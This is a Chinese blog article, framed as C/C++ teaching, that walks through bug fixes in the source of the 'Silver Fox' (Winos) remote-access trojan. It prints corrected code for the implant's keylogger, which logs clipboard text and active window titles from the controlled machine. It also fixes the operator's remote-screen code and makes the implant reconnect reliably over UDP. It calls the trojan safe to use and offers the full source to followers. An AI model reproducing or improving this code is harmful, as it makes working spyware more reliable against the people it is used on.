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【安全研究】通过银狐源码学习C/C++开发

【安全研究】通过银狐源码学习C/C++开发

特别申明:

本文内容仅限于用作技术交流,请勿使用本文介绍的技术做任何其他用途,否则后果自负,与本号无关。

原始的银狐远程控制软件中,存在大量C++编码问题,大多数错误都属于低级错误。这些错误造成银狐远控稳定性差,容易崩溃。

本次代码以4.0为版本,Visual Studio 2010工程,希望对小伙伴们提高C/C++开发水平有帮助。

问题1

如图所示,银狐代码中有大量调用Windows API GetModuleFileName获取当前程序所在路径,该函数的最后一个参数传递的是字符串数量,不是字符串字节数目。由于工程设置使用了Unicode字符集合,一个字符占两个字节,而图中传递的是字节数目,当存放路径较长时,容易造成内存越界,引起崩溃。

DWORD GetModuleFileNameW(  [in, optional] HMODULE hModule,  [out]          LPWSTR  lpFilename,  [in]           DWORD   nSize // 这个参数是字符数量,不是字节数目);

修改方法:

将第三个参数改成字符数量,Windows定义了一个宏 ARRAYSIZE 可以编译器期间自动计算字符数据长度,其实现是数组总字节数除以第一个元素的字节数,即为字符长度。

将上述代码改成:

TCHAR ExePath[MAX_PATH] = { 0 }; GetModuleFileName(NULL, ExePath, ARRAYSIZE(ExePath));

这样的代码,在银狐代码中至少存在十几处,尤其是主控代码中。

问题2

如图所示,这里节选的是系统管理插件的代码,不知道读者能否看出标红处的问题?

这里使用memcpy将一个空字符拷贝至lpBuffer + dwOffset所在位置的内存处,拷贝长度是MAX_PATH * sizeof(TCHAR)。这里的行为是未定义的,由于宽字符_T("")指向的内存值就是L\0,这里拷贝长度过多,造成内存越界,行为未知。

修改方法:

作者的原意是将MAX_PATH * sizeof(TCHAR)长度的内存拷贝过去,所以这里可以简单改成使用memset函数做清零就可以了。

memset(lpBuffer + dwOffset, 0, MAX_PATH * sizeof(TCHAR));

这样的代码到处都是,尤其是在系统管理插件模块。

问题3

如图所示,问题所属模块为登录模块离线键盘记录功能。聪明的读者能看出这段代码的问题吗?

问题如下:

  1. GlobalSize这个API返回的就是当前剪贴板数据的字节数,即使剪贴板内容是宽字符,所以计算字节内容时不该乘以2,现在乘以2可能造成接下来的wcscmp(lpstr, Clipboard_old) != 0代码中比较时读取lpstr越界。

  2. 同理memcpy(Clipboard_old, lpstr, nPacketLen);中读取lpstr也可能越界。

  3. 使用wsprintf(temp, _T("\r\n[剪切板:]%s\r\n"), lpstr);格式化字符时,由于没有指定temp最大缓冲区长度,那么格式化lpstr时会一直往后读取直到\0为止,问题是,lpstr不一定会以\0结束,所以可能一直往后读,此时内存已经越界。应该改写指定缓冲区最大长度的格式化函数来格式化剪贴板内容。

真是10行代码,三个崩溃。。。。。。

完整修复后的代码如下:

if (GetTickCount() - m_dwLastCapture > 1500)        {            InterlockedExchange((LPLONG)&m_dwLastCapture, GetTickCount());            OpenClipboard(NULL);            HGLOBAL hglb = GetClipboardData(CF_UNICODETEXT);if (hglb != NULL)            {                //int nPacketLen = int(GlobalSize(hglb)) * 2 + 2;                int nPacketLen = int(GlobalSize(hglb));                LPCTSTR  lpstr = (LPCTSTR)GlobalLock(hglb);if (lpstr != NULL)                {if (nPacketLen < sizeof(szClipboard_old))  // 判断长度                    {                        //if (wcscmp(lpstr, szClipboard_old) != 0)  //判断内容if (memcmp((char*)lpstr, (char*)szClipboard_old, nPacketLen) != 0)                        {                            memcpy(szClipboard_old, lpstr, nPacketLen);                            //wsprintf(szTemp, _T("\r\n[剪切板:]%s\r\n"), lpstr);                            swprintf_s(szTemp, ARRAYSIZE(szTemp), _T("\r\n[剪切板:]%s\r\n"), lpstr);                            Input::SaveToFile(szTemp);                            memset(szTemp, 0, sizeof(szTemp));                        }                    }                }                ::GlobalUnlock(hglb);            }            ::CloseClipboard();        }

问题4

如图所示,问题还是位于模块为登录模块离线键盘记录功能。

这段代码获取被控机器上当前活动窗口的窗口标题,同问题一,GetWindowText最后一个参数应该传入缓冲区字符数量(最后一个L’\0’)也要计算在内,这里传入了缓冲区字节数目,多了一倍,如果用户的电脑上活动窗口标题比较长,会造成内存溢出,被控崩溃。

修改方法:

BOOL Input::IsWindowsFocusChange(){ memset(WindowCaption, 0, sizeof(WindowCaption)); hFocus = GetForegroundWindow(); GetWindowText(hFocus, WindowCaption, ARRAYSIZE(WindowCaption));    WindowCaption[ARRAYSIZE(WindowCaption)-1] = 0;    //... 省略无关代码}

下面的:

if (lstrlen(WindowCaption) > 0)  {   SYSTEMTIME   s;   GetLocalTime(&s);   wsprintf(temp, _T("\r\n[标题:]%s\r\n[时间:]%d-%d-%d  %d:%d:%d\r\n"), WindowCaption, s.wYear, s.wMonth, s.wDay, s.wHour, s.wMinute, s.wSecond);   SaveToFile(temp);   memset(temp, 0, sizeof(temp));   memset(WindowCaption, 0, sizeof(WindowCaption));   ReturnFlag = TRUE;  }

调用wsprintf格式化存在与问题三一样的问题,当活动窗口标题较长时,内存也存在越界风险。

这也就解释了为什么当被控电脑点击不同窗口时,有时候被控会掉线(已经崩溃闪退)。

问题5

如图所示,代码位于主控远程屏幕相关代码。 这里的代码也存在内存问题,但是如果不熟悉相关的Windows API,可能无法解决。

问题现象是启动远程屏幕主控偶现崩溃。

这个问题我用Visual Studio 2022去排查的,因为高版本的VS集成了Google Address Sanitizer,可以很方便定位C/C++内存问题。具体方法可以看这里

解决方法:

查阅了一下 MSDN,发现GlobalAlloc函数分配内存时可以指定标志位,当标志位为GMEM_MOVEABLE时,分配的内存为可移动内存,CreateStreamOnHGlobal函数的第二个参数如果指定为 TRUE 时,在调用IStream::Release 时会自动释放CreateStreamOnHGlobal创建的 OLE 对象的内存。CreateStreamOnHGlobal函数签名如下:

HRESULT CreateStreamOnHGlobal(  [in]  HGLOBAL  hGlobal,  [in]  BOOL     fDeleteOnRelease,  [out] LPSTREAM *ppstm);

由于这个OLE对象只占用了GlobalAlloc分配的部分内存,所以就出现了上述现象。

因此只要将上述代码中两处调用CreateStreamOnHGlobal函数的地方改成 FALSE 就可以了,不要自动释放内存即可。

修改后代码如下:

//显示截图窗口void CMainFrame::OnOpenDesktop(ClientContext* pContext){    //...省略无关代码...    HGLOBAL hGlobal = GlobalAlloc(GMEM_MOVEABLE, pContext->m_DeCompressionBuffer.GetBufferLen() - 1);    void* pData = GlobalLock(hGlobal);    memcpy(pData, pContext->m_DeCompressionBuffer.GetBuffer(1), pContext->m_DeCompressionBuffer.GetBufferLen() - 1);    GlobalUnlock(hGlobal);    IStream* pStream = NULL;if (CreateStreamOnHGlobal(hGlobal, FALSE, &pStream) == S_OK)    {        CImage image;if (SUCCEEDED(image.Load(pStream)))        {            IStream* pOutStream = NULL;if (CreateStreamOnHGlobal(NULL, FALSE, &pOutStream) == S_OK)            {                image.Save(Ttime);            }        }        pStream->Release();    }    GlobalFree(hGlobal);    //...省略无关代码...}

问题6

如图所示,当使用被控使用UDP模式连接主控时,如果发生断线,被控再也无法连接上主控,也就是说被控UDP断线重连不起作用,影响所有需要用到网络连接的模块(例如上线模块、登录模块、键盘记录、远程屏幕等等)。

这段逻辑是当使用UDP连接时,发起连接后会调用WaitForSingleObject这个API等待连接结果(以m_hEvent_run这个内核Event受信为标志),连接成功会调用SetEvent这个API设置m_hEvent_run为受信状态。如下图所示:

然后调用CUdpSocket::run_event_loop()进入等待状态。

问题就在这里,调用CUdpSocket::run_event_loop()时将m_hEvent_run这个对象关闭了,一并受影响的还有m_hEvent这个Event对象。这样当断线重连时,再次调用上图中的CUdpSocket::Connect函数,由于m_hEvent_run已经被关闭,WaitForSingleObject立即返回,状态为WAIT_FAILED,导致永远连不上。如下图所示:

解决方法:

  1. 方法一是连接成功后,调用CUdpSocket::run_event_loop()不要调用CloseHandle(m_hEvent_run);关闭这个事件对象。
  2. 方法二是重连时新建调用CreateEvent函数新建m_hEvent_run对象。

解决这个bug,需要读者掌握Windows多线程和socket编程知识,目前市场上没有这类成体系的资料,笔者也是工作多年后,一边学习一边总结,完整的Windows和Linux多线程编程必学知识点我把它们汇总在 cppguide.cn 之上。

访问链接: https://cppguide.cn/pages/essentialsofcppserverprogrammingch03/

当然,站点也提供了打包下载链接,有兴趣的读者可以访问。

关于银狐远控的bug远不止于此,维护这一年多以来,我总共修复了100+问题,github提交记录就有568次之多。

当然,虽然这套源码bug挺多的,但瑕不掩瑜,它仍然是学习C/C++开发、多线程编程、网络编程、安全工程、综合项目实践、红蓝攻防非常好的材料

为了更方便排查和优化代码,我除了修复以上bug以外,还将这套代码从原来的Visual Studio 2010工程全部升级成Visual Studio 2022,并补全和重编译了所有依赖库代码,并去掉所有后门,现在它是一款可以放心使用的远控软件。

由于篇幅有限,本次分享就到这里了,后续我将会更新更多的C/C++开发知识,欢迎关注公众号CppGuide。

源码获取

如果对银狐(winos)有兴趣,可以通过下面的方式获取全套源码:

关注后回复【winos】即可获取源码

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